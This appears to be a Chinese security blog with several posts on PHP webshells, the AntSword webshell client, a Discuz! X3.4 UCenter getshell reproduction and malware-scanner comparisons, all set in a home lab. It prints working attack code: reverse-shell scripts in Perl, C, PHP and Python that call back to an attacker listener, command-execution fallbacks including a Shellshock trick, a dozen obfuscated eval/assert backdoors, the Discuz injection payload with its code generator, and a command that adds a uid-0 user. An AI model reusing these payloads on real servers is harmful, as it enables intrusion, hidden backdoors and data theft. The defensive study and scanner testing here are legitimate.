2021年11月4日 星期四

PHP大馬

前言

https://secvery.com/2105.html   黑客常用PHP大马(WebShell)
PHP大馬就是功能較全,支持各種在滲透過程中可能用到的各種功能的大型代碼集合,通常具有文件管理、命令執行、端口掃描、數據庫管理、反彈shell等等的功能

透過解讀大馬的功能,能了解到一些web滲透的手段,進而知道怎麼樣在安全上做防護


Spider PHP Shell (SPS-3.0).php

登入


文件管理


時間

透過 touch() 修改文件的mtime
case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break;


# ll test.jpg
-rw-r--r--. 1 www www 12218 Nov  4  2020 test.jpg


新增文件

使用 fopen() 、fwrite()寫檔,然後用 touch() 改mtime。當前目錄必須是www 可寫


直接點該文件,可以在網站上打開改文件

該文件的權限是www 
# ll newfile.php
-rw-r--r--. 1 www www 26 May  4  2021 newfile.php

新建目錄

使用 mkdir(),建立目錄。當前目錄必須是www 可寫


目錄權限www ,無法用touch()修改時間
# ll | grep newdir
drwxr-xr-x. 2 www  www       6 Nov  4 19:20 newdir

複製、刪除、屬性、打包(下載)、編輯、改名、上傳、批量上傳


執行命令

使用exec、shell_exec、system、passthru、popen去執行命令。所以php.ini中盡量要禁用這些危險函數,以免被webshell執行命令
function Exec_Run($cmd)
{
    $res = '';
    if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
    elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
    elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
    elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
    elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
    return $res;
}


掃描端口

使用 fsockopen 去檢測服務器端口有無開放
$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);

搜索文件

搜索包含文字

使用 readdir 將目錄下所有文件名讀出來,然後用 fread 將文件內容讀出來,最後用stristr 去匹配內容


Linux提權

攻擊機

因為windows的git bash沒有nc這個命令,所以另外準備一台攻擊機(CentOS虛擬機,192.168.1.8)來實作Linux提權。
攻擊機安裝nc
# yum install nc
打開提權所需端口
# firewall-cmd --zone=public --add-port=12388/tcp --permanent
# firewall-cmd --reload
攻擊機監聽shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388

提權


提交表單後就可以獲取靶機上的shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58198.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(www) gid=1000(www) groups=1000(www) context=unconfined_u:system_r:initrc_t:s0
pwd
/www/wwwroot/webshell2.bt/Php
whoami
www
hostname -I
192.168.1.24 172.17.0.1

當然還能切root(如果你知道靶機root的密碼)
su -
Password: root_password
whoami
root
pwd
/root


/var/log/secure 拿到www的shell是沒有記錄的,切root和登出root的時候有
Nov  5 04:50:08 localhost su: pam_unix(su-l:session): session opened for user root by (uid=1000)
Nov  5 04:50:16 localhost su: pam_unix(su-l:session): session closed for user root


靶機

可以看到多了一個sh的進程,執行用戶是www(這也是為什麼提權那拿到的shell用戶是www)
# ps aux | grep "\bsh\b"
www       9551  0.0  0.0  11692  1356 ?        S    16:10   0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
www       9556  0.0  0.0  11692  1360 ?        S    16:10   0:00 /bin/sh

有個連線連到攻擊機(192.168.1.8)的nc監聽端口(12388)
# netstat -tlunpa | grep "192.168.1.8"
tcp        0      0 192.168.1.24:58198      192.168.1.8:12388       ESTABLISHED 9550/lynx

9550 是什麼進程?
# ps aux | grep "9550"
www       9550  0.0  0.0  31144  3340 ?        S    16:10   0:00 lynx

原理

File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb')
將以下perl腳本寫入 /tmp/spider_bc 
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

然後用PHP執行腳本
Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')
perl /tmp/spider_bc 192.168.1.8 12388 &

如果是在服務器上用root手動執行該反彈腳本
# perl /tmp/spider_bc 192.168.1.8 12388 &
進程的執行者是root
# ps aux | grep "\bsh\b"
root     28776  0.0  0.0 113288  1396 pts/10   S    15:06   0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
root     28781  0.0  0.0 113284  1196 pts/10   S    15:06   0:00 /bin/sh
攻擊機拿到的shell權限也會是root
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58734.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
whoami
root

C語言執行

將以下C代碼寫入 /tmp/angel_bc.c 
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}

然後執行編譯命令
gcc -o /tmp/angel_bc /tmp/angel_bc.c
最後執行
/tmp/angel_bc 192.168.1.8 12388 &

C語言的實現方式在大馬後台沒有成功,因為編譯不出來 /tmp/angel_bc ,在靶機上用root手動執行編譯命令倒是可以

MySQL執行

https://stackoverflow.com/a/54643842  Connect to different port using MySql Command Line Client
如果連docker的mysql時要用127.0.0.1,不能用localhost




MySQL管理

如下圖所見








zjjv

zjjv。  com

代碼基本上被加密了,使用XDebug調試可以慢慢解出來,只是花時間

登入


文件管理

功能基本上和 Spider PHP Shell (SPS-3.0).php 一樣。 (root)用户|组 代表該大馬文件的權限是root(但是執行shell的權限僅是www



執行PHP腳本

使用的是eval執行
eval(stripslashes(base64_decode($_POST['phpcode'])));

執行SQL、MYSQL操作、端口掃描

功能基本上和Spider PHP Shell (SPS-3.0).php 的 MySQL執行、MySQL管理、掃描端口 一樣。

執行命令

比 Spider PHP Shell 更進化了,多了使用 COM類(windows,未能復現)、proc_open、readlink+putenv(未能復現)的漏洞利用
function Exec_Run($cmd) {
    $res = '';
    if (function_exists('exec')) {
        @exec($cmd, $res);
        $res = join("\n", $res);
    } elseif (function_exists('shell_exec')) {
        $res = @shell_exec($cmd);
    } elseif (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (@is_resource($f = @popen($cmd, 'r'))) {
        $res = '';
        while (!@feof($f)) {
            $res .= @fread($f, 1024);
        }
        @pclose($f);
    } elseif (substr(dirname($_SERVER["SCRIPT_FILENAME"]), 0, 1) != "/" && class_exists('COM')) {
        $w = new COM('WScript.shell');
        $e = $w->exec($cmd);
        $f = $e->StdOut();
        $res = $f->ReadAll();
    } elseif (function_exists('proc_open')) {
        $length = strcspn($cmd, " \t");
        $token = substr($cmd, 0, $length);
        if (isset($aliases[$token])) $cmd = $aliases[$token] . substr($cmd, $length);
        $p = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while (!feof($io[1])) {
            $res .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
        }
        while (!feof($io[2])) {
            $res .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
        }
        fclose($io[1]);
        fclose($io[2]);
        proc_close($p);
    } elseif (function_exists('mail')) {
        if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
            $tmp = tempnam(".", "data");
            putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
            mail("a@127.0.0.1", "", "", "", "-bv");
        } else $res = "Not vuln (not bash)";
        $output = @implode('', @file($tmp));
        @unlink($tmp);
        if ($output != "") $res = $output; else $res = JmCode("=4vofIaqtD3ohOvpiOPY0IUp0I3ot8zG");
    }
    return $res;
}


反彈提權

和Spider PHP Shell相比除了perl和C的執行方式,多了php和nc的執行方式

php

用 socket_create 和 socket_connect 去連攻擊機監聽的端口,然後用 socket_read 不斷的去等攻擊機下的命令,然後用proc_open在靶機上執行命令,最後用 socket_write 將靶機上執行命令的結果返回給攻擊機
if (!extension_loaded('sockets')) {
    if ($system == 'WIN') {
        @dl('php_sockets.dll') or die("Can't load socket");
    } else {
        @dl('sockets.so') or die("Can't load socket");
    }
}
if ($system == "WIN") {
    $env = array('path' => "c:\\windows\\system32");
} else {
    $env = array('PATH' => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin");
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$host = $_POST['yourip'];
$port = $_POST['yourport'];
$host = gethostbyname($host);
$proto = getprotobyname("tcp");
if (($sock = socket_create(AF_INET, SOCK_STREAM, $proto)) < 0) {
    die("Socket创建失败");
}
if (($ret = socket_connect($sock, $host, $port)) < 0) {
    die("连接失败");
} else {
    $message = "----------------------PHP反弹连接(www.xxx.com)--------------------\n";
    socket_write($sock, $message, strlen($message));
    $cwd = str_replace('\\', '/', dirname(__FILE__));
    while ($cmd = socket_read($sock, 65535, $proto)) {
        if (trim(strtolower($cmd)) == "exit") {
            socket_write($sock, "Bye\n");
            exit;
        } else {
            $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
            if (is_resource($process)) {
                fwrite($pipes[0], $cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                socket_write($sock, $msg, strlen($msg));
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                socket_write($sock, $msg, strlen($msg));
                $return_value = proc_close($process);
            }
        }
    }
}

nc

一樣也是用PHP實現,使用 fsockopen 去連攻擊機監聽的端口,然後用feof不斷的等攻擊機發命令過來,用fgets接收到命令後使用 $message = `$cmd`; 執行命令(` 就是 shell_exec函數),執行後用 fputs 將結果返回攻擊機。
echo '<div class="actall">';
$mip = $_POST['yourip'];
$bport = $_POST['yourport'];
$fp = fsockopen($mip, $bport, $errno, $errstr);
if (!$fp) {
    $result = "Error: could not open socket connection";
} else {
    fputs($fp, "\n*********************************************\n hacking url:http://www.xxx.com is ok! \n*********************************************\n\n");
    while (!feof($fp)) {
        fputs($fp, " [root@xxx.com:/root]# ");
        $result = fgets($fp, 4096);
        $message = `$result`;
        fputs($fp, "--> " . $message . "\n");
    }
    fclose($fp);
}
echo '</div>';

執行方式:php 和 nc(本質上也是使用PHP),連進程中異常的 sh 進程都查不到,因為跑在php-fpm下面,只能從netstat上查到有個異常的連線往外連

# ps aux | grep "\bsh\b"
(無)

# netstat -tlunpa | grep "192.168.1.8"
tcp        0      0 192.168.1.24:58952      192.168.1.8:12388       ESTABLISHED 9623/php-fpm: pool

# ps aux | grep 9623
www       9623  0.0  0.1 248544  8928 ?        S    18:06   0:00 php-fpm: pool www

其他大馬

https://www.dismall.com/thread-1726-1-1.html  震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔

文件管理

基本上功能都大同小異
特殊目錄:
Linux-local : /usr/local/
Linux-tmp : /tmp/
Linux-etc : /etc/

反彈SHELL

Python

這個大馬在提權時多了python的連接方式。原理是將以下python代碼寫入 /tmp/t00ls.py
#!/usr/bin/python
# 
import sys,os,socket,pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
os.dup2(s.fileno(), sys.stdin.fileno())
os.dup2(s.fileno(), sys.stdout.fileno())
os.dup2(s.fileno(), sys.stderr.fileno())
pty.spawn('/bin/sh')

然後再執行
/usr/bin/python /tmp/t00ls.py 192.168.1.8 12388


執行命令

這邊收集了一些滲透常用命令
Linux-版本集合: id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a
Linux-添加用户: /usr/sbin/useradd -u 0 -o -g 0 t00ls
Linux-查看用户: cat /etc/passwd
Linux-查看端口: /bin/netstat -tnl
Linux-查看地址: /sbin/ifconfig -a
Linux-查看服务: /sbin/chkconfig --list
Linux-查看进程: /bin/ps -ef












2021年10月8日 星期五

AntSword蟻劍使用心得

PHP webshell後門和代碼審計  中介紹了許多PHP webshell的漏洞利用方式,我們可使用【AntSword蟻劍】對其webshell做更多的操作

 安裝

下載後第一時間校驗 md5 值
$ md5sum.exe AntSword-Loader-v4.0.3-win32-x64.zip
85b80052224061e42f685021f28d1975 *AntSword-Loader-v4.0.3-win32-x64.zip

解壓縮AntSword-Loader 後執行 AntSword.exe 
首次打開加載器時,界面如下圖所示:

點擊【initialize】按鈕,選擇一個空目錄作為蟻劍的工作目錄,加載器會自動下載源代碼。

AntSword-Loader下載下來的 antSword-master.zip 會被windows 10 防毒跳警告,需加白

加白後如果遇到 Unzip Error Code:[object Object] 錯誤
https://github.com/AntSwordProject/AntSword-Loader/issues/31#issuecomment-869523193  Initialization fails, showing `Unzip Error Code:[object Object]
手動解壓縮 antSword-master.zip ,然後再選擇該目錄


首次打開

添加webshell

以 PHP webshell後門和代碼審計 的 webshell-6.php 為例(1-5實際測試後不行)
create_function('', $_POST['a']);
添加
進入該URL地址
即可直接對伺服器上的文件直接做GUI的操作,例如:

編輯文件


打開來即可編輯 PHP webshell後門和代碼審計 中的  webshell-1.php ,當然 webshell-1.php 必須是www 用戶可寫入的權限

打開終端

如果你該網站(php 5.6)把exec那些 shell執行的函數禁用了,執行命令會報錯 ret=127 
否則就能以www的身份執行bash

修改文件時間

原本文件上傳時間是2021-10-08
修改成2020-10-08

linux上用ll查,該文件(修改)時間已變成 2020-10-08 
[root@localhost /www/wwwroot/webshell.bt (master)]# ll info.php
-rw-r--r--. 1 www www 16 Oct  8  2020 info.php
必須用stat才能查到正確的最後修改時間(Change)
# stat info.php
  File: ‘info.php’
  Size: 16              Blocks: 8          IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 4092920     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/     www)   Gid: ( 1000/     www)
Context: unconfined_u:object_r:default_t:s0
Access: 2020-10-08 20:40:50.000000000 +0800
Modify: 2020-10-08 20:40:50.000000000 +0800
Change: 2021-10-08 20:51:11.722462674 +0800
 Birth: -

連接資料庫

選定webshell =》右鍵 =》 數據操作

配置資料庫連線方式(都滲透進去了,在代碼裡面查配置文件)
可以選定資料庫和查該庫的資料(比sqlmap注入還強大,所以webshell危害更大)

其他功能

(該資料夾或文件必須是www用戶可寫)
上傳文件,新建資料夾








2021年10月5日 星期二

Discuz!x3.4 後台修改UCenter配置getshell


靶場搭建

寶塔 + php 5.6 + mysql 5.7

# git clone https://github.com/sv3nbeast/discuz-x3.4-RCE.git discuz.x3.4.rce.bt
# cd discuz.x3.4.rce.bt
# unzip Discuz_SC_UTF8.zip
寶塔網站目錄設為 upload/ ,訪問站點地址後按照流程安裝(略)

滲透

登錄後台 => 站點 => UCenter 設置
UCenter 通信密钥: 123456
UCenter 访问地址: http://discuz.x3.4.rce.bt/upload/uc_server');phpinfo();//
提交
這步完成後會修改 upload/config/config_ucenter.php ,但是 UC_API 的'會跳脫
diff --git a/upload/config/config_ucenter.php b/upload/config/config_ucenter.php
index 6df46ac..7fb0562 100644
--- a/upload/config/config_ucenter.php
+++ b/upload/config/config_ucenter.php
@@ -12,9 +12,8 @@
 define('UC_DBCONNECT', 0);

 define('UC_CHARSET', 'utf-8');
-define('UC_KEY', 'b2w03075v067ve2d2aEdl9Aco6lbD4Z4T02dA0v2lfj0L6gdodj0l1P6QbX1l8ta');
-define('UC_API', 'http://discuz.x3.4.rce.bt/uc_server');
+define('UC_KEY', '123456');
+define('UC_API', 'http://discuz.x3.4.rce.bt/upload/uc_server\');phpinfo();//');
 define('UC_APPID', '1');
 define('UC_IP', '');
 define('UC_PPP', 20);



生成code參數的值,code.php

$uc_key="123456";//
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  $ckey_length = 4;
  $key = md5($key != '' ? $key : '123456');
  $keya = md5(substr($key, 0, 16));
  $keyb = md5(substr($key, 16, 16));
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);
  $key_length = strlen($cryptkey);

  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  $string_length = strlen($string);

  $result = '';
  $box = range(0, 255);

  $rndkey = array();
  for($i = 0; $i <= 255; $i++) {
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  }

  for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
  }

  for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  }

  if($operation == 'DECODE') {
    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
      return substr($result, 26);
    } else {
      return '';
    }
  } else {
    return $keyc.str_replace('=', '', base64_encode($result));
  }
}

# php code.php
1bd61yMP9oRuwAfLBlYNlBPBkzl1jkGTnpSq3vUZyXhcAdE%2b2yy4cB35w4%2fKMYnKEAfQ1mnlRsR2phjoI9k

使用burp suite,攔截帶code參數GET請求發送
請求數據包
GET /api/uc.php?code=1bd61yMP9oRuwAfLBlYNlBPBkzl1jkGTnpSq3vUZyXhcAdE%2b2yy4cB35w4%2fKMYnKEAfQ1mnlRsR2phjoI9k HTTP/1.1
Host: discuz.x3.4.rce.bt
Cookie: ooyE_2132_saltkey=rlpi42qL; ooyE_2132_lastvisit=1633423183; ooyE_2132_sid=iKnzwk; ooyE_2132_lastact=1633426854%09uc.php%09
Sec-Ch-Ua: ";Not A Brand";v="99", "Chromium";v="94"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://discuz.x3.4.rce.bt/uc_server</item>
</root>

UC_API的XML需攔截後手動加入,經過測試這個包要送2次,第二次才生效。
burp suite轉發請求後頁面返回1


會修改 upload/config/config_ucenter.php 和 upload/uc_client/data/cache/apps.php 
diff --git a/upload/config/config_ucenter.php b/upload/config/config_ucenter.php
index 6df46ac..7ceb6e0 100644
--- a/upload/config/config_ucenter.php
+++ b/upload/config/config_ucenter.php
@@ -12,9 +12,8 @@
 define('UC_DBCONNECT', 0);

 define('UC_CHARSET', 'utf-8');
-define('UC_KEY', 'b2w03075v067ve2d2aEdl9Aco6lbD4Z4T02dA0v2lfj0L6gdodj0l1P6QbX1l8ta');
-define('UC_API', 'http://discuz.x3.4.rce.bt/uc_server');
+define('UC_KEY', '123456');
+define('UC_API', 'http://discuz.x3.4.rce.bt/uc_server');phpinfo();//'); // 成功取消跳脫,完成注入
 define('UC_APPID', '1');
 define('UC_IP', '');
 define('UC_PPP', 20);
-?>
diff --git a/upload/uc_client/data/cache/apps.php b/upload/uc_client/data/cache/apps.php
index 7948d40..54e6afa 100644
--- a/upload/uc_client/data/cache/apps.php
+++ b/upload/uc_client/data/cache/apps.php
@@ -1,22 +1,3 @@
 <?php
 $_CACHE['apps'] = array (
-  1 =>
-  array (
-    'appid' => '1',
-    'type' => 'DISCUZX',
-    'name' => 'Discuz! Board',
-    'url' => 'http://discuz.x3.4.rce.bt',
-    'ip' => '',
-    'viewprourl' => '',
-    'apifilename' => 'uc.php',
-    'charset' => '',
-    'dbcharset' => '',
-    'synlogin' => '1',
-    'recvnote' => '1',
-    'extra' => false,
-    'tagtemplates' => '',
-    'allowips' => '',
-  ),
 );
-
-?>

此時 http://discuz.x3.4.rce.bt/config/config_ucenter.php 就是我們的shell地址,至此getshell結束

從第一步得知這個getshell需要登錄後台修改UCenter配置,所以Discuz!x3.4的後台需要做IP訪問限制避免此漏洞利用

如果要重新復現次漏洞,# git reset --hard 後記得 upload/config/config_ucenter.php 和 upload/uc_client/data/cache/apps.php 權限要改成www可寫入,否則後台表單會有bug









2021年10月4日 星期一

PHP webshell後門和代碼審計

webshell

https://www.cnblogs.com/croso/p/6198314.html  [转]中国最大的Webshell后门箱子调查,所有公开大马全军覆没

webshell-1.php(assert)

@$A = 'Acc';
$p = '_';
$o = 'PO';
$s = 'S';
$t = 'T';
$a = 'as';
$b = 'sert';
$Acc = $a . $b;
@${$A}(${$p . $o . $s . $t}[ziiuioxs]);

echo 'error';
exit;
後門:
@assert($_POST[ziiuioxs]);
密碼:ziiuioxs

webshell-2.php(array_filter回調)

@$ksvSGu = "\x73tr\x5f\x72e\x70l\x61\x63e";

@$xRec = @$ksvSGu('wcaSq', '', 'awcaSqrrwcaSqawcaSqywcaSq_filwcaSqter');

@$SOet = @$ksvSGu('wZTB', '', 'aswZTBsewZTBrwZTBt');

@$xRec((array)@$_REQUEST['rretgscr'], @$SOet);

後門:
@array_filter((array)@$_REQUEST['rretgscr'],'assert');
密碼:rretgscr

webshell-3.php(create_function)

if ($_GET['jumpvv']) {

    $tu = "TVFsnZG9vcnB5J";

    $mzd = "10pOwoK";

    $fc = "Cg";

    $tnz = str_replace("rn", "", "rnstrnrrn_rrnernprnlrnarncrne");

    $nu = "pqldmqFsKCRfUE9";

    $qwb = $tnz("u", "", "ubuausue6u4u_udueucoudue");

    $lcq = $tnz("j", "", "jcrjejatej_jfujnjcjtjiojn");

    $htx = $lcq('', $qwb($tnz("q", "", $fc . $nu . $tu . $mzd)));
    $htx();
}
後門:
create_function('', base64_decode(str_replace("q", "", "CgpqldmqFsKCRfUE9TVFsnZG9vcnB5J10pOwoK")));
=
create_function('', eval($_POST['doorpy']));
密碼:doorpy

webshell-4.php(preg_replace+/e修飾符)

@$EuTsNl="p"."r"."eg_r"."epla"."c"."e";

@$EuTsNl("/[email]/e",$_POST['iiaqffg'],"error");
後門:
@preg_replace("/[email]/e",$_POST['iiaqffg'],"error");
密碼:iiaqffg

webshell-5.php(preg_filter+/e修飾符)

$ad = '|';$ad .='.';$ad .='*|';$ad .='e';

@preg_filter($ad, $_REQUEST['andyzhengs'], '');

後門:
@preg_filter(|.*|e, $_REQUEST['andyzhengs'], '');
密碼:andyzhengs

webshell-6.php(D盾繞過,create_function)

https://www.freebuf.com/articles/web/264582.html  php一句话后门学习(含免杀)
class create {
    public $filter = ['q' => '_function'];
    public $value = '';

    public function __construct() {
        $this->value = $_POST['a'];
        $name = get_class($this) . $this->filter['q'];
        $st = $name('', $this->value);
        $st();
    }
}

$a = new create();
後門:
create_function('', $_POST['a']);
密碼:a

審計


php-malware-scanner

# composer require scr34m/php-malware-scanner
# php ./vendor/scr34m/php-malware-scanner/scan.php -d /www/wwwroot/webshell.bt -k -L -p -c
# ER # {/www/wwwroot/webshell.bt/webshell-2.php} #\\[Xx](5[Ff]) # '_' as "\x5f" # 3
# ER # {/www/wwwroot/webshell.bt/webshell-3.php} #\$[a-z]+\(\$[a-z0-9]+\( # nested function call used variables # 19
Start time: 2021-10-04 16:49:22
End time: 2021-10-04 16:49:22
Total execution time: 0
Base directory: /www/wwwroot/webshell.bt
Total directories scanned: 24
Total files scanned: 6
Total malware identified: 2

只掃出 webshell-2.php 和 webshell-3.php 

php-malware-detector

# composer require ollyxar/php-malware-detector
新增scanner.php
require 'vendor/autoload.php';

// First parameter is a scan directory
// Second parameter is an array of file extensions to scan
(new \Ollyxar\AntiMalware\Scanner('/www/wwwroot/webshell.bt',['php']))->run();

會使用到exec(),php cli 要把exec 禁用去掉
# php scanner.php

 File:         /www/wwwroot/webshell.bt/webshell-1.php
 Size:         177 B
 Owner:        root
 Permissions:  0644
 Hazard level: 1

 [double-variable] at line 11
 @${$A}(${$p . $

 File:         /www/wwwroot/webshell.bt/webshell-2.php
 Size:         231 B
 Owner:        root
 Permissions:  0644
 Hazard level: 1

 [obfuscation] at line 3
  = "\x73tr\x5f\x72e\x70l\x61\x63e"

 File:         /www/wwwroot/webshell.bt/webshell-4.php
 Size:         107 B
 Owner:        root
 Permissions:  0644
 Hazard level: 1

 [obfuscation] at line 3
 @$EuTsNl="p"."r"."eg_r"."epla"."c"."e";

 2021-10-06 15:11:23 - scan end.
 Total PHP files scanned: 6
 Total suspicious files: 3

掃出 webshell-1.php 、 webshell-2.php 、webshell-4.php 

D盾

掃出 webshell-1.php 、webshell-2.php、webshell-3.php、webshell-4.php、webshell-5.php

應該如何做

無論上面使用哪種工具 webshell-6.php 都會被繞過,那應該怎麼做?
https://stackoverflow.com/a/3782031  Exploitable PHP functions
I guess you won't be able to really find all possible exploits by parsing your source files.
我猜你不能藉由語法分析源碼(審計工具)真的找出所有可能的漏洞利用
  • also if there are really great lists provided in here, you can miss a function which can be exploited
  • 即使這裡真的有很好的清單,你能錯過一個會被漏洞利用的方法
  • there still could be "hidden" evil code like this
  • 這裡依然可能有惡意代碼像這樣被"隱藏" 
$myEvilRegex = base64_decode('Ly4qL2U=');

preg_replace($myEvilRegex, $_POST['code'],'');

  • you could now say, I simply extend my script to also match this
  • 你可以說,我簡單的擴展我的腳本去匹配他
  • but then you will have that many "possibly evil code" which additionally is out of it's context
  • 但是你將有許多"可能的惡意代碼"沒匹配上
  • so to be (pseudo-)secure, you should really write good code and read all existing code yourself
  • 所以為了安全,你應該真的寫好代碼讀懂所有現有的代碼
把上面的惡意代碼當做webshell-7.php

webshell-7.php(preg_replace+/e修飾符)

$myEvilRegex = base64_decode('Ly4qL2U=');
preg_replace($myEvilRegex, $_POST['code'],'');;
後門:
preg_replace('/.*/e', $_POST['code']);
密碼:code

其他常見的php一句話後門

https://www.freebuf.com/articles/web/264582.html  php一句话后门学习(含免杀)

webshell-8.php(eval)

@eval($_POST['a']);
後門:
@eval($_POST['a']);
密碼:a

webshell-9.php(assert)

@assert($_POST['a']);
後門:
@assert($_POST['a']);
密碼:a

webshell-10.php(mb_ereg_replace/mb_eregi_replace/mbereg_replace/mberegi_replace + e修飾符)

@mb_ereg_replace('.*',$_POST['a'],'','e');
@mb_eregi_replace('.*',$_POST['a'],'','e');
@mbereg_replace('.*',$_POST['a'],'','e');
@mberegi_replace('.*',$_POST['a'],'','e');
後門:
@mb_ereg_replace('.*',$_POST['a'],'','e');
@mb_eregi_replace('.*',$_POST['a'],'','e');
@mbereg_replace('.*',$_POST['a'],'','e');
@mberegi_replace('.*',$_POST['a'],'','e');
密碼:a

webshell-11.php(函數變量)

$_GET['a']($_GET['b']);
後門:
$_GET['a']($_GET['b']);
密碼:a=assert&b=phpinfo();

webshell-12.php(call_user_func/call_user_func_array 回調)

call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
後門:
call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
密碼:pass

webshell-13.php(filter_var/filter_var_array回調)

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
後門:
